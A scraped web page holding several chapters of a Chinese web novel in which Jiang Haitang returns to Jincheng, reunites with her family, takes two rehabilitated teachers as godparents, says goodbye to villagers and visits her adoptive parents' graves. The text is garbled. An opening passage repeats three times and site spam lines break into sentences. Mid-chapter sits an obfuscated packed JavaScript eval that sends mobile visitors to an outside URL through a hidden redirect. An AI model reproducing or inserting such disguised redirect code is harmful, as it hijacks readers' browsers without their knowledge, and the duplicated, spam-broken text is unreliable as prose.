“还好,就是,就是想你们。”陆良辰看着妻子,眼神温柔得能滴出水来。 “现在的分别,是为了将来能在一起。”姜海棠何尝不是和陆良辰一样的想法。 及待地落在了儿子身上。 小家伙也不知道是不是有父子天性,不仅没怕生,反而咧开没牙的小嘴,冲着他笑了起来,还伸出两只小胳膊,做出一个要抱抱的姿势,嘴里模糊地发出咿咿呀呀的音节。 这一下,彻底击中了陆良辰心中最柔软的地方。 他眼眶一热,几乎是蹲跪下去,一把将软乎乎、香喷喷的儿子结结实实地抱进怀里,把脸埋在小家伙的颈窝里,深深吸了一口带着奶香的气息。 “好儿子!想死爸爸了!”他的声音闷闷的,带着难以抑制的激动和哽咽。 小橙子被爸爸的胡茬蹭得痒痒,咯咯地笑出声,小手胡乱地拍打着陆良辰的脸和肩膀。 姜海棠放下笔,走过来,看着紧紧相拥的父子俩,眼角也湿润了。 “去花城出差,比预计的快了几天,想给你个惊喜,就过来了,谁知道,来了你还不在。”姜海棠笑盈盈地说着,只是眼底有一点泪花。 陆良辰空出一只手臂,将妻子也紧紧揽入怀中。 一家三口就这样在洒满阳光的堂屋里紧紧相拥,分离数月的思念和牵挂,在这一刻化为了实实在在的温暖和幸福。 过了好一会儿,陆良辰才稍微平复了情绪,但依旧舍不得放开儿子。 他抱着小橙子站起身,仔细打量着姜海棠:“瘦了,是不是在外面吃不好?累不累?路上顺利吗?孩子闹你没?” 一连串的问题抛出来,满是关切。 姜海棠笑着摇头:“一切都好,小橙子特别乖,火车上都很能适应,没怎么闹。倒是你,看着也清减了些,厂里忙吗?” “还好,就是,就是想你们。”陆良辰看着妻子,眼神温柔得能滴出水来。 “现在的分别,是为了将来能在一起。”姜海棠何尝不是和陆良辰一样的想法。 及待地落在了儿子身上。 小家伙也不知道是不是有父子天性,不仅没怕生,反而咧开没牙的小嘴,冲着他笑了起来,还伸出两只小胳膊,做出一个要抱抱的姿势,嘴里模糊地发出咿咿呀呀的音节。 这一下,彻底击中了陆良辰心中最柔软的地方。 他眼眶一热,几乎是蹲跪下去,一把将软乎乎、香喷喷的儿子结结实实地抱进怀里,把脸埋在小家伙的颈窝里,深深吸了一口带着奶香的气息。 “好儿子!想死爸爸了!”他的声音闷闷的,带着难以抑制的激动和哽咽。 小橙子被爸爸的胡茬蹭得痒痒,咯咯地笑出声,小手胡乱地拍打着陆良辰的脸和肩膀。 姜海棠放下笔,走过来,看着紧紧相拥的父子俩,眼角也湿润了。 “去花城出差,比预计的快了几天,想给你个惊喜,就过来了,谁知道,来了你还不在。”姜海棠笑盈盈地说着,只是眼底有一点泪花。 陆良辰空出一只手臂,将妻子也紧紧揽入怀中。 一家三口就这样在洒满阳光的堂屋里紧紧相拥,分离数月的思念和牵挂,在这一刻化为了实实在在的温暖和幸福。 过了好一会儿,陆良辰才稍微平复了情绪,但依旧舍不得放开儿子。 他抱着小橙子站起身,仔细打量着姜海棠:“瘦了,是不是在外面吃不好?累不累?路上顺利吗?孩子闹你没?” 一连串的问题抛出来,满是关切。 姜海棠笑着摇头:“一切都好,小橙子特别乖,火车上都很能适应,没怎么闹。倒是你,看着也清减了些,厂里忙吗?” “还好,就是,就是想你们。”陆良辰看着妻子,眼神温柔得能滴出水来。 “现在的分别,是为了将来能在一起。”姜海棠何尝不是和陆良辰一样的想法。 第329章 好消息 等两个人说了一会子话,叙完离别之情,陆良辰低头看到了桌上的东西,他好奇地问:“这是什么?” “从花城带回来的一些技术资料,还有两份新图纸,我都收拾出来了,打算给**厂长送过去。”姜海棠解释道。 陆良辰笑着说道:“你对机械厂可比对纺织厂还尽心尽力呢。” 姜海棠看着眼前这个带着一点点醋意的男人,忍不住也生出了逗弄的心思:“谁让我现在还是机械厂的兼职员工呢?” 对于这个,陆良辰显然也很意外,现在还是机械厂的员工? “**厂长说了,我能继续为机械厂提供先进的图纸,就是机械厂的员工,且本来是兼职员工,我本来在那里工作不要紧。” 这话是实话,也是**厂长劝她安心时候的原话。 对此,陆良辰无话可说,毕竟,从决定了姜海棠要去京城工作,而他这边也在着手调动工作之后,姜海棠就离职了。 “老**这个人能处,不错。”陆良辰爽朗地笑着说。 “那是,当初最难的时候,也是他护在我们前面的。”姜海棠想起毛厂长这个人,还是十分感激的。 “只是你一路奔波,加上在花城一个月的时间,太累了,刚回来也不好好休息,我很心疼。” “闲着也是闲着。”姜海棠笑道,“对了,香草姐帮了大忙了,这一路多亏有她,我反而没有费什么心。” 小何正好晾完衣服进来,听到这话忙摆手:“没有没有,都是我应该做的。” 陆良辰郑重地对小何道谢:“香草同志,辛苦你了!谢谢!” “陆厂长您太客气了。”小何不好意思地笑了。 这时,小橙子在爸爸怀里扭动着,小手指着门外,咿咿呀呀地叫着,似乎想出去。 “走,爸爸带你出去玩!”陆良辰立刻领会了儿子的意思,高兴地抱着他往外走,还不忘回头对姜海棠说,“晚上想吃什么?我去买!咱们好好庆祝一下!” 姜海棠哪里不知道,这个男人,是要抱着儿子出去显摆呢,不过,让儿子看看纺织厂也好。 看着陆良辰抱着小橙子的样子,姜海棠想到了小桃子。 也不知道小桃子在家里还好吗? 有没有想念爸爸和妈妈。 小姑娘到了秋天就该上小学了,等回去之后,要给小家伙准备新书包和文具盒这些了。 “海棠,你怎么发呆呢?”小何看着姜海棠神游远方,抬高了一点点声音。 “我就是想小桃子了 听说看这本书的人都是很幸运的,分享后你的运气会更棒 ,咱们一走这么长的时间,她也不知道有没有想我们。姜海棠忽然觉得,要是当时直接回京城也挺好的,这会儿都能见到女儿了。 “肯定想你们了,小桃子那孩子,是个十分念着情意的孩子,也是个十分坚强的孩子。等什么时候,陆厂长也调过去就好了。 这一家子七零八落的分在各处过日子可不好。 姜海棠点头,是啊,就因为小桃子更加坚强,所以,才会让人更加心疼她。 “咱们在这里住五天就先回京城去,我想小桃子了。 想了想,姜海棠还是说道。 正好,回去之后,也要正式开始参加工作了。 这边,两个人正说话,大门口传来了刘红梅的声音。 “哎呀,海棠,我都以为你留在北京,以后见不到你了,谁知道,你突然就回来了,我昨天晚上回家晚了,听我娘说,我都不敢相信,这不,中午一下班就赶紧来看你了。 刘红梅还是和以前一样是个大大咧咧的性格,说话十分爽朗。 姜海棠拉着刘红梅的手:“我才说过去看你呢,给你们从花城买了些礼物,也不知道你们喜欢不喜欢。 刘红梅笑得更加欢畅了:“哎呀,你说你去一趟花城,惦记着家里人就行了,点击我们干啥。何大姐虽说是个不错的人,可是婆媳关系,也是需要经营才行,你可别不把大姐的话当一回事。 “我知道的,红梅姐,给家里人的,都已经让同事带回京城去了,这是专门给你们买的。 听到这个,刘红梅又说:“海棠,这段时间,你都没有工资,可别总想着给我们捎礼物,得自己存点钱。 姜海棠知道,刘红梅这是真心实意的为了自己好,如果不是真心为自己着想,才不会说这么多给自己。 “红梅姐,你放心吧,我现在不缺钱。 “我知道你工资高,但到了京城,哪里不花钱,总要自己手里有些钱才行。刘红梅继续念叨着。 “红梅姐,我找到了我的亲爷爷。姜海棠没打算瞒着刘红梅,因此,直接开口说出了这个惊天消息。 刘红梅一愣,什么情况? 不是说海棠是被家里人卖给李家当童养媳的?怎么会找到亲爷爷? 但找到亲人总是好事:“找到了亲人好啊,海棠,你以后也算有亲人疼了。不过,多了一个家人,你的负担又重了许多,就更需要存钱了! “红梅姐,你听我说,我爷爷在京城,位置不低,大概和良辰的爷爷差不多级别 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 吧。姜海棠只能给刘红梅解释清楚。 听到姜海棠的亲爷爷在京城,而且,地位和陆家的老爷子差不多,刘红梅惊讶的手里的针线都差点儿掉在地上。 海棠不是西北姑娘?怎么还有个亲爷爷在京城? “海棠,咋回事?你父母不是亲生父母,还是…… “我亲生父母当年在西北执行任务牺牲了,把我交给了我的养父母,养父母去世之后,我叔叔和婶子霸占了养父母的家产,又把我卖给李家。好在,我和良辰结婚,在京城遇到了我的亲爷爷,我们已经相认了,他很疼爱我。 刘红梅听姜海棠说清楚后,高兴得不得了。 其实,她一直都担心,姜海棠在陆家要是被人看不起怎么办? 虽然何阿姨来的时候,对海棠很好,可是这样的大户人家,家里可不光只有婆婆,其他亲戚还有妯娌什么的,都有可能看不起海棠这个从西北来的姑娘。 现在可好了,海棠的亲爷爷和陆家老爷子地位相当,两家也算门当户对了,自然不会有人瞧不起海棠了。 两个人正说话的时候,陆良辰回来了。 他身后还跟着两个人,正是舒启华和顾昀笛夫妻。 今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16300216|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天两夫妻打扮得十分周正,衣服也是簇新的,甚至,脸上都带着难得一见的笑。 “顾老师、舒老师,你们怎么来了? “海棠啊,我们今天来,是有个好消息要给你说。 姜海棠看着二人脸上激动的表情,似是猜测到了什么,但还是问了出来。 “什么好消息。姜海棠一瞬不瞬地盯着夫妻二人,生怕错过什么。 “我们**了,要回到原来的工作岗位上去了,海棠,这几年,谢谢你了,没有你的照顾,我们两口子只怕已经……舒启华哽咽着几乎说不下去了。 姜海棠忙抱住她的肩膀说道:“舒老师,您别这么说,我其实也没做什么。 “好孩子,你为我们做的太多了,没有你……舒启华哽咽得说不出话来了。 顾昀笛接过妻子的话,声音也带着激动和感激:“没有你当初冒险把我们弄到厂里,给我们一份正经工作遮掩,又处处维护,我们这两把老骨头,恐怕早就折在牛棚里了。海棠,这份恩情,我们夫妻俩永世不忘! 姜海棠的眼眶也湿润了,她只是为了上辈子二人对她的照顾和教导,这辈子重新来过,她当二人是老师,是亲人。 但这些没有办法对二人说,姜海棠只能激动地抹眼泪。 “ 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 顾老师,舒老师,真是太好了,以后你们就能回到本该属于你们的位置上,我比什么都高兴!这真是天大的好消息!” “好孩子,以前,我就算有心,也不敢和你多接触,以后好了,我可以放心地和你相交,不用担心连累你了。” 姜海棠不想让二人继续说这些伤心的事儿,因此问道:“顾老师、舒老师,你们什么时候回去工作,还是去金城大学?工作都安排好了吗?” 顾昀笛点头,脸上焕发着久违的光彩:“组织上已经找我们谈过话了,很快就回去。虽然离开讲台这么多年,但该做的事、该教的书,一天都不敢忘!回去了,还能发挥点余热。” 他的语气里充满了对重返教育岗位的期待和使命感。 “太好了!”姜海棠真心为他们高兴,“金城大学的学生们有福了,能听到您二位的课。” 舒启华看着姜海棠,眼神里充满了赞赏和不舍:“海棠啊,你是个好孩子,聪明、善良、又有能力。可惜我们要回学校了,不然真想继续在厂里,和你一起搞技术革新。” “说什么呢,海棠以后也不在厂里了。” 姜海棠笑道:“舒老师,就算你们回了学校,也还是可以合作的,尤其是机械厂那边,**厂长估计少不得要麻烦您,纺织厂这边,良辰她……总之,你们也算两个厂里的老员工了,少不得要请教和麻烦你们。” 机械厂这边,等陆良辰调走了,是个什么情况,她还真是不敢说。 顾昀笛立刻保证道,“对了,海棠,你以后有什么打算?就留在京城了?” 姜海棠点点头:“嗯,工作关系已经转到部里了,以后主要会在京城。不过金城是我的第二故乡,我会常回来的。” “那就好,那就好,等良辰回去了,你们以后就可以在京城搞事业了。”顾昀笛对此十分满意。 第330章 真好 姜海棠笑着点头。 “海棠,我总觉得,我们似乎很早以前就认识了。”舒启华拉着姜海棠的手,迟疑地问道。 姜海棠一愣,随即笑了。 “可能是前世就认识吧!说不定,你们二老上辈子是我的恩人,我这辈子就是来报恩的。”她亲热地回握住舒启华的手,脑子里都是上辈子舒启华和顾昀笛二人教导自己的场景。 他们夫妻不知道这些缘分,可她却时时刻刻都记得。 “说不定,上辈子,你是我们的女儿!”顾昀笛笑着说道:“要不,我们认干亲吧?以前我们老两口有这个想法,不敢开口,现在,我们熬出来了,才敢说这话。” 刘红梅听到这个,立即拍手附和:“这个好,二位老师没有孩子,海棠没有父母,要是认干亲也很好……” 话说到这里,刘红梅才想起来,海棠现在不是没有亲人的人了,她已经找到了亲人。 而且,海棠的亲人,地位还挺高的,自己赞成海棠认干亲,是不是冒失了? 就在刘红梅局促得不知道该说什么的时候,听到姜海棠清脆而欣喜的声音响起:“好啊!顾老师,舒老师,这是我求之不得的福分!只要您二老不嫌弃,从今天起,我就是你们的女儿!” 她这话说得毫不犹豫,眼中闪烁着真诚的泪光。 对她而言,顾昀笛和舒启华早已是亦师亦父亦母的存在。 上辈子,在顾家生活的那些年,她说是当保姆,可是二人对她是当晚辈当学生一样疼爱的,他们给予的教导和温暖,这份缘分早就结下了。 在姜海棠看来,能找到血脉相连的爷爷是幸运,但这份毫无血缘却深厚无比的情谊同样珍贵。 顾昀笛和舒启华没想到姜海棠答应得如此爽快,两人对视一眼,看到了彼此眼里的惊喜。 巨大的喜悦涌上心头,两个人激动的嘴唇都有些颤抖。 “好!好!好女儿!”顾昀笛连说三个好字,声音洪亮,眼角的皱纹都笑开了花。 舒启华更是喜极而泣,一把将姜海棠紧紧抱住:“我的好孩子!我们……我们也有女儿了!” 她盼了多少年,没想到到了这个年纪,竟然真的有了一个如此优秀又贴心的女儿。 陆良辰在一旁看着,也为妻子和两位老师感到高兴。 他虽然不知道为什么,却知道这两位老师在妻子心中的分量。 对于姜海棠认二人为干亲,陆良辰并不反对,他上前一步,郑重地对二人行礼。 “顾老师,舒老师,以后,我们就是一家人了,我和海棠一起孝顺你们!” 二人忙连忙让陆良辰不用客气。 小何虽然不知道几人到底有什么渊源,但还是很为这温馨的一幕感动。 刘红梅这才放下心来,拍着手笑道:“哎呀呀,这可是天大的喜事!必须得庆祝!海棠,你等着,我这就回家把我娘腌的腊肉拿过来,晚上咱们好好吃一顿!” 说着她就风风火火地往外跑,要去分享这个好消息。 “我这会儿去供销社买肉,买菜,咱们今天晚上好好聚一聚。”陆良辰说着,也风风火火的走了。 姜海棠拉着舒启华和顾昀笛坐下,小何忙去重新沏茶。 三个人的关系不一样了,说话的时候,竟然多了几分亲昵。 几个人亲亲热热说话的时候,小橙子睡醒了。 小何抱着咿咿呀呀的小橙子过来,姜海棠接过小家伙,说道:“小橙子,快叫外公、外婆!” 小家伙虽然不懂什么意思,但看着眼前两位慈祥的老人冲他笑,也高兴地挥舞着小手,嘴里发出“噗噗”的声音,逗得大家哈哈大笑。 “干爸干妈,这小子,是个话痨,虽然不会说话,但很能唠。”姜海棠看着急于说话的儿子,脸上都是慈爱的笑。 舒启华小心翼翼地从姜海棠怀里接过小橙子,抱在怀里,感受着这柔软的小生命,心里充满了前所未有的满足和幸福感。 顾昀笛也凑在一旁,稀罕得不得了。 “你说咱们,这一会儿时间,闺女也有了,外孙也有了,对了,还有个外孙女。咦,海棠,小桃子没有跟着你一起回来?” “我是去出差转道回来的,小桃子没带回来,等以后,我带着她回来看你们,你们二老有时间,就去京城看我们。”姜海棠给二人解释说道。 二人对于没有见到小桃子还是有些遗憾的,但很快,目光就被小橙子给吸引了。 “小桃子和小橙子,这俩名字好,一听就是亲的!” “取名字的时候,本来不叫这个,小桃子说,她叫小桃子,弟弟该叫小橙子,就取了这个小名。小桃子大名叫陆幼薇,小橙子大名叫陆翊国。”姜海棠想起女儿当初给弟弟起名字的时候,嘴角不由得更加弯了许多。 听到是这样,顾昀笛二人没忍住都笑了起来。 小小的院子里,充满了欢声笑语和浓浓的温情。 曾经的苦难仿佛都已远去,留下的唯有苦尽甘来的喜悦和对未来生活的美好期盼。 这个临时起意认下的干亲,仿佛是最好的安排,让跨越了两辈子的情意,有了一个温暖的名分。 不多时候,刘红梅果然拎着一个竹篮来了,里面不光有腊肉,还有好些新鲜的蔬菜,陆良辰也很快回来了,他竟然买到了牛肉和猪肉两样。 “正好,我把谭书记和赵凯也叫过来,再有张尚文也一起,咱们好好的热闹热闹。” 陆良辰想着以后大家要聚在一起不容易,因此提议。 这几个人,多少都是帮助过姜海棠的,而海棠回到京城之后,想再和这些人见面可就不容易了。 “再给机械厂那边打个电话,让大柱过来一起吃顿饭。”姜海棠也说。 “大柱这孩子不错,我打算等我回到学校之后,把这个孩子招进去,这孩子,只要肯好好努力,将来必定是机械方面的人才。” 听到大柱的名字,顾昀笛立即表示了对大柱的夸赞。 姜海棠听到顾昀笛这么喜欢大柱,也是高兴的不得了。 小何和姜海棠一起下厨,刘红梅也主动帮忙,很快,得到消息的康小夏也来了,舒启华想帮忙,被几个人拒绝了,只让她在客厅里坐着休息。 很快,一桌丰盛的饭菜就做好了,今天这一桌菜,可不亚于过年的时候,陆良辰还特意去打了酒回来。 刘红梅一家人,康小夏和赵凯、谭书记两口子,再加上大柱和得到消息主动过来的毛厂长,浩浩荡荡这许多人,一桌子根本坐不下。 刘红梅家的大桌子被搬了过来,好在现在天气热了,在院子里吃饭也很好,索性就将桌子摆在院子里,吹着晚风吃。 饭桌上,众人举杯,庆祝顾昀笛和舒启华平反昭雪、重返岗位,也庆祝他们喜得佳女。 来的人都是关系好的,大家说话的时候,也都比较自在。 姜海棠还将从花城带来的礼物分别送给他们,大家收下礼物,表达了感谢。 因知道,姜海棠以后回来的次数不会都,也分别给姜海棠送了礼物。 一顿饭宾主尽欢,吃得十分热闹,从太阳西斜,一直吃到了月上柳梢头。 窗外西北的星空格外明亮,姜海棠看着身边的新家人和老朋友,心中充满了感恩。 这些人,都是自己的贵人,没有这些人的成全,或许,她不会有现在的成就。 “只可惜,胡厂长今天不在,要是胡厂长在,我怎么也要敬他两杯。” “等回到了京城,咱们请他吃饭,到时候,你好好地给他敬酒。”陆良辰当然知道妻子的心思,笑着说道。 吃完饭,小何去洗碗,舒启华拉着姜海棠的手坐下,仔细端详着她。 她心里清楚,虽然认了干亲,可是以后见面的机会应该也不懂,毕竟,京城距离太遥远了。 “干妈,以后咱们见面的机会多着呢,再说了,我要在这里住几天,咱们还有见面的机会呢。”姜海棠笑着安慰:“还有,我找到了我的亲爷爷,他老人家也在金城,我现在,也算是有爸妈有爷爷的人了,不再是孤单一个人了。” 听到姜海棠还有个爷爷,顾昀笛和舒启华二人立即开始商量,等放假的时候,就去京城看望老人家。 聊了一会子,又逗弄了一会儿小橙子。 小家伙一点也不认生,咿咿呀呀地和他们“对话”,逗得两位老人开怀大笑。 临走前,顾昀笛从随身带的布包里拿出一个精心包裹的小盒子,递给姜海棠:“海棠,这个送给你。不是什么贵重东西,是我以前收藏的一支钢笔和一本笔记,记录了一些我早年在国外访学时看到的机械领域的前沿想法,虽然旧了,但或许对你还能有点启发。” 这份资料,之前他都不敢拿出来,唯恐连累到姜海棠,也是谈完话之后,才找时间将藏起来的小册子拿出来。 姜海棠接过这份沉甸甸的礼物,心中感动不已。 她知道,这对于一位学者来说,是多么珍贵的心意。 “谢谢干爸,这太珍贵了!我一定会好好研读!” 第331章 都拿着 送走了顾昀笛夫妻,姜海棠将自己准备好给机械厂的图纸和资料装好交给毛厂长。 “毛厂长,我这一次来时间紧张,可能没时间去厂里了,这些资料和图纸,麻烦您带回去,交给科研人员,都是能用得上的。” 毛厂长听着,倒是觉得难受了。 “海棠啊,你这一走,也不知道什么时候才能回来,我可真舍不得你啊!” 姜海棠没想到,毛厂长这个粗汉子还有这样感性的时候呢,都有些哭笑不得了。 “毛厂长,就算我回不来,也会打电话和厂里沟通,有先进的技术和资料,也会想办法给你们送过来。” 得了姜海棠的保证,毛厂长算是安心了不少。 他抱着图纸和资料走到大门口了,忽然想起什么,停住了脚步,转身从怀里摸出来一个信封。 “我老毛今天太难过了,都忘了正事儿了,海棠,这是你这几个月的工资,你都拿着,以后的工资,我让人给你汇过去。” 姜海棠还要推辞不要,毛厂长拉着大柱转身就走。 大柱本来还想再说两句,结果来不及开口,人已经到了车上。 等众人都走了,家里只剩下姜海棠一家子人。 今天人多,小橙子这小家伙儿忙了一下午,到了这会儿,瞌睡得不行,已经睡着了。 “今晚我带着小橙子睡,海棠,陆厂长,你们好好休息。” 小何主动抱着小橙子走了,陆良辰拉着姜海棠的手回到卧室里。 关上卧室的门,陆良辰紧紧抱住妻子,诉说着分别这些日子的思念和牵挂。 “调令已经下来了,国防科工局。新厂长的任命也已经到了,等我这边交接完,最多一个月,我们就能在京城团聚了。”他在她耳边说着即将到来的团聚,声音里充满了希望。 姜海棠靠在他怀里,听着他沉稳的心跳,觉得所有的奔波和劳累都是值得的。 家,就是心之所向,而此刻,丈夫和孩子都在身边,便是她最大的幸福。 而他们马上就能在京城团聚了。 接下来的时间,姜海棠每天都忙得不可开交。 纺织厂这边,黎景程、段长河以及其他几个人都已经能独当一面了,但还是有些问题要请教姜海棠,请姜海棠帮忙。 “姜工,你都不是咱们厂里的人了,还帮着咱们厂,我们都怪不好意思的。” 段长河摸着脑袋,不好意思地开口。 黎景程拽了他一把说道:“你瞎说啥呢,有陆厂长在,姜工啥时候都是我们厂里的人。” 其实,黎景程觉得,还是机械厂好,姜工到现在都还是机械厂的人嘞。 不过,陆厂长是纺织厂的厂长,可不能像毛厂长一样随心所欲,终究,还是让纺织厂占便宜了。 “对,我一直都是纺织厂的人,当初最艰难的时候,是纺织厂收留了我,我这辈子就是纺织厂的人。”姜海棠浅笑着说道。 当初,她抱着破釜沉舟的决心到纺织厂来找李二狗的时候,也没想过,未来的生活会朝着这样的方向发展。 当初,如果不是胡厂长收留自己,并给自己一个临时工的位置,后续到底会是什么样,姜海棠真的不敢想。 但可以肯定的是,绝对不会像现在一样顺利。 “姜工,以后我们要是有不明白的,可以写信向您请教吗?”黎景程带着希冀问道。 “当然可以,还有顾老师和舒老师,你们也可以去请教,而且,他们平反回学校了,说不定,很快,政策就会有变化,你们可以多多联系他们。” 姜海棠虽然明知道后面的政策会有何种变化,但这时候并不能明说,只能点到为止,至于他们能不能听懂,并且抓住机会,那就是他们自己的事情了。 这边几个人才将积累的问题都解决了,就听到外面有人喊自己。 “海棠,海棠,蔡婶子来找你了。” 听到蔡婶子来了,姜海棠还有些意外的。 这一次时间紧张,她并没想过去清水沟村。 等姜海棠匆匆忙忙回到家里的时候,却看到了清水沟村的好些人。 “大队长,您怎么来了?”姜海棠一面惊讶地问,一面招呼大家到屋里坐。 “海棠啊,你大柱说你回来了,我们急急忙忙来看看你,就怕我们来得晚了,你已经回京城去了。”赵志坚看到姜海棠的时候,语气带着不舍地说。 海棠和清水沟村,终究是因为后面那些事隔了一层。 即便海棠也曾不计前嫌地帮了清水沟的人发展,但到底不太愿意重新回到清水沟。 但不管怎么样,他们这些受了恩惠的人,要记着这份恩情才行。 “是啊,海棠,我们都知道,你要在京城工作,以后怕是回不来了,我们几个代表咱们大队里的人来看看你。” “海棠啊,以前的事都过去了,你以后好好的工作,陆厂长是个好的,不会辜负了你。” …… 众人七嘴八舌的说着,倒是让姜海棠也多了几分离别的愁绪。 “我会好好的,以后,你们也要好好的过日子,将来的日子肯定会过得好。” “好,当然好,我们现在有自己的作坊,日子过得比周边几个大队都要好嘞,加上大柱这小子捣鼓出来的新式农具,我们是头一份儿。这都要感谢你啊,海棠。”赵志坚想着大队里现在的发展都离不开姜海棠,说话的时候,语气都有些哽咽了。 “我也没做什么,都是你们自己愿意努力的结果。” 当初,姜海棠对于这些人,其实多少是有些怨的。 但后来日子过得好了,姜海棠也释然了,再回想起从六岁到清水沟,被李家人虐待连一口饱饭都吃不上的时候,这些人都曾经帮助过她,给予过她温暖,所以,她才会给他们机会。 这些人得到机会之后,果断地抓住了,这才是他们能成功走到今天的原因。 姜海棠看着眼前这些淳朴而熟悉的面孔,心中也是百感交集。 清水沟,这个她曾经拼命逃离、却又割舍不下的地方,终究在她的人生中留下了深刻的印记。 以后,她可能再也不会回到那个地方,但是却会永远记得这个地方。 几个人说话的时候,小何已经给大家都倒了水。 蔡婶子知道小何是帮忙照顾小橙子的,少不得拉着小何的手,叮嘱了不少姜海棠的喜好。 聊了好一阵子之后,赵志坚率先起身提出告辞:“海棠,看着你挺好,我们就放心了,以后要是有什么事,就给我们写信,给我们打电话。我们今天就是来看看你,给你带了一点咱大队里的东西。” 说着,他示意后面的人把东西拿过来。 几个村民立刻递上来几个沉甸甸的袋子,赵志坚打开,里面是晒干的蘑菇、木耳、自家磨的新小米、还有一小罐金贵的野蜂蜜。 “海棠,你以后是城里人了,咱们这些山里的东西,不值啥钱,你可别嫌弃。带到京城去,尝尝鲜,也算是个念想。”一位老伯憨厚地笑着说。 姜海棠原本想拒绝的,大家伙儿日子不好过,这点东西要攒上好久。 但她听到老伯说让自己别嫌弃,知道要是今天拒绝了,老伯肯定要以为自己是嫌弃他们的东西。 因此,话到嘴边的时候,姜海棠转了个弯儿。 “这……这太让你们破费了,我会带到京城去。” 听到姜海棠愿意收下,几个人总算放心了一些。 “破费啥!跟你为咱大队做的比起来,这点东西算个啥!”赵志坚语气坚决,“要不是你当初帮着咱们得了个挖土的营生,又帮着我们搞起那个作坊,咱大队现在哪能家家户户有余粮,年底还能分点钱?大家心里都记着你的好呢!” “是啊,海棠,以前辛辛苦苦一年,也不如作坊里赚的钱多。” “虽然都说穷人硬气,可我还是觉得手里有钱好,有了钱,今年我就把我们家那破房子翻新一下!” 这话让村民们都笑起来了,以前说,穷人有骨气,那不是有骨气,那是实在没办法。 能过上好日子,谁愿意过苦日子? 村民们你一言我一语地说着,脸上都洋溢着对现在生活的满足和对姜海棠的感激。 姜海棠听着,由衷地为他们感到高兴。 “大家日子都好起来了,我们都会好好的。”姜海棠笑着说,“以后作坊还要继续办下去,而且要越办越好。等政策再宽松些,说不定还能搞点别的副业,比如把咱们的山货包装一下卖到城里去。” 她适时地又点拨了一句,相信赵志坚和大柱他们能听懂。 就算现在还听不懂也不要紧,等政策出来了,他们就会想起来现在这些话。 赵志坚眼睛一亮,连连点头:“哎!我记下了!回头就跟大队里的人商量!” 他心里的想法其实挺简单的,姜海棠可是从京城回来的,又去了南方,听说南边发展得可快了。 海棠见识多,能说出这些话,肯定是有依据的,他就是个山里汉子,大事不明白,但他知道,跟着有见识的人做事,肯定没问题。 此时的赵志坚还不知道,多年以后,自己是多么感谢这时候听劝,才能带着清水沟的村民们走出一条康庄大道。 又说了会儿话,赵志坚怕耽误姜海棠太多时间,便带着村民们告辞了。 临走前,他再三叮嘱:“海棠,以后不管到了哪儿,都别忘了清水沟也是你的家!有空就回来看看!” 即便知道姜海棠这辈子可能都不会再回来,但该说的话还是要说。 “我把地址留给大柱了,你们有事给我写信!”姜海棠也有些不舍了。 送走了清水沟的乡亲们,姜海棠看着院子里那几袋满满的土产,心里沉甸甸的,都是他们的一片心意。 陆良辰回来的时候,看到的就是姜海棠盯着这些东西发呆。 第332章 送别 “难过了?”陆良辰揽住姜海棠的肩膀,低声问道。 姜海棠点点头。 “没事,以后有假期了,咱们就回来看看。” “良辰,我还想去看看我父母,他们……他们这辈子,就只有我这一个孩子,我得给他们上上坟。” 这个年月,上坟什么的其实风险很大,但姜海棠也不知道,自己什么时候才能再回来,离开之前,总要去养父母的坟头看看。 “我明天陪着你一起去。”陆良辰说道:“说起来,岳父岳母还没见过我这个女婿呢。” “他们肯定喜欢你,你这么好呢。”姜海棠笑着对陆良辰说道。 上辈子那些在李家快要熬不下去的时候,姜海棠都会去父母的坟头哭一场。 即便父母去世的时候,她年幼,已经不记得父母的长相,但每次去看望父母,都会让她觉得温暖。 而这辈子,她走上了不一样的路,该去给父母说一声,免得他们在九泉之下担心。 第二天,天气放晴,阳光透过云层洒下来,驱散了连日的阴霾。 陆良辰特意请了半天假,又借了厂里的吉普车。 姜海棠去供销社买了些点心、水果,又买了一瓶酒和一包烟,这是记忆中父亲生前偶尔会沾一点的。 姜海棠原本想带着小橙子一起去的,但后来想到山路难行,便让小何留在家里照看小橙子。 车子开出城区,驶向大山深处。 姜海棠养父母的坟其实距离清水沟并不是很远,翻过一座山头就到了。 路不太好走,有些颠簸。 越靠近那片坟地,姜海棠的心情就越发沉重,那些深藏在心底的、关于养父母模糊而温暖的记忆碎片一点点浮现出来。 姜海棠开始紧张起来。 “海棠,是不是难受了?要是难受,我们先休息休息。” “海棠,你喝口水,很快就能到了。” 陆良辰看着姜海棠的表情有些肃穆,只能不断地安慰姜海棠。 “我其实是近乡情怯,良辰,我太久没有来看过爹和娘了,他们会不会怪我?”姜海棠有些紧张的问道。 “不会的,海棠,现在这种形势,岳父岳母能理解,等以后,咱们只要有假期,就来看望他们。” 陆良辰之前甚至都没有察觉到,姜海棠对于养父母的感情竟然也如此深。 这时候,前面已经没有路了,陆良辰只能停好车,拎着上坟的东西,和姜海棠一起沿着一条长满杂草的小路往上走。 陆良辰一手提着东西,一手紧紧握着姜海棠的手,无声地给予她力量。 在一片相对平缓的向阳坡地上,零星分布着一些坟茔。 姜海棠凭着记忆,很快找到了那两个并排的、有些低矮的土坟。 坟头上长满了青草,墓碑也只是简陋的石块,上面刻着的字迹早已模糊不清。 “爹,娘,海棠来看你们了。”姜海棠的声音带着一丝不易察觉的颤抖。 她蹲下身,用手仔细地拔掉坟头的杂草,小心翼翼的擦拭着墓碑上的尘土。 陆良辰也蹲下来,将点心和水果摆好,又斟了一杯酒,点燃了三支烟,恭敬地放在坟前。 “岳父,岳母,我是陆良辰,海棠的丈夫。”他声音沉稳而郑重,“对不起,现在才来看二老。你们放心,我会一辈子对海棠好,爱护她,保护她,不让她受委屈。我们现在有了两个孩子,女儿叫小桃子,儿子叫小橙子,都很好,很健康活泼。海棠现在也很好,她很优秀,去了京城工作……” 